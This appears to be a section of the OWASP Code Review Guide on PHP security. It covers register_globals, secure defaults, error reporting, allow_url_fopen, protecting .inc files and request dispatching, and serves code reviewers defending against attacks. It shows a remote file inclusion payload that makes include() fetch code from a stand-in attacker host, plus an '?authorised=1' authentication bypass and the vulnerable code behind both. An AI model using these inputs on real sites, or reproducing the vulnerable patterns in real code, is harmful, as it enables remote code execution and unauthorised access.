PHP Security Leading Practice

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OWASP Code Review Guide Table of Contents

Contents

Global Variables

One does not need to explicitly create "global variables." This is done via the php.ini file by setting the "register_globals" function on. register_globals has been disabled by default since PHP 4.1.0

Include directives in PHP can be vulnerable if register_globals is enabled.


<?PHP

include "$dir/script/dostuff.php";
 
?>

With register_globals enabled the $dir variable can be passed in via the query string:

?dir=http://www.haxor.com/gimmeeverything.php

This would result in the $dir being set to:

<?PHP

include "http://www.haxor.com/gimmeeverything.php";

?>

Appending global variables to the URL may be a way to circumvent authentication:

<?PHP
if(authenticated_user())
{
 $authorised=true;
}

if($authorised)
{
 give_family_jewels()
}

?>

If this page was requested with register_globals enabled, using the following parameter ?authorised=1 in the query string the athentication function assumes the user is authorised to proceed. Without register_globals enabled, the variable $authorised would not be affected by the $authorised=1 parameter.

Initialization

When reviewing PHP code make sure you can see the initialization value is in a "secure default" state. For example $authorised = false;

Error handling

If possible check if one has turned off error reporting via php.ini and if "error_reporting" off. It is prudent to examine if E_ALL is enabled, this ensures all errors and warnings are reported. display_errors should be set to off in production

File Manipulation

allow_url_fopen is enabled by default in PHP.ini This allows URLs to be treated like local files. URLs with malicious scripting may be included and treated like a local file.

Files in the document root

At times one must have include files in the document root, and these *.inc files are not to be accessed directly. If this is the case and during the review you find such files in the root then examine httpd.conf. For example:

<Files"\.inc">
   Order allow, deny
   deny from all
</Files>

HTTP request Handling

The Dispatch method is used as a "funnel" wherein all requests are passed through it. One does not access other PHP files directly but rather via the dispatch.php. This could be akin to a global input validation class wherein all traffic passes.

http://www.example.com/dispatch.php?fid=dostuff

Relating to security it is leading practice to implement validation at the top of this file. All other modules required can be include or require and in a different directory.

Including a method: If a dispatch.php method is not being used look for includes at the top of each php file. The include method may set a state such that the request can proceed.

It may be an idea to check out PHP.ini and look for the auto_prepend_file directive. This may reference an automatic include for all files.

Positive input validation

Input validation: strip_tags(): Removes any HTML from a String nl2br(): Converts new line characters to HTML break "br" htmlspecialchars():Convert special characters to HTML entities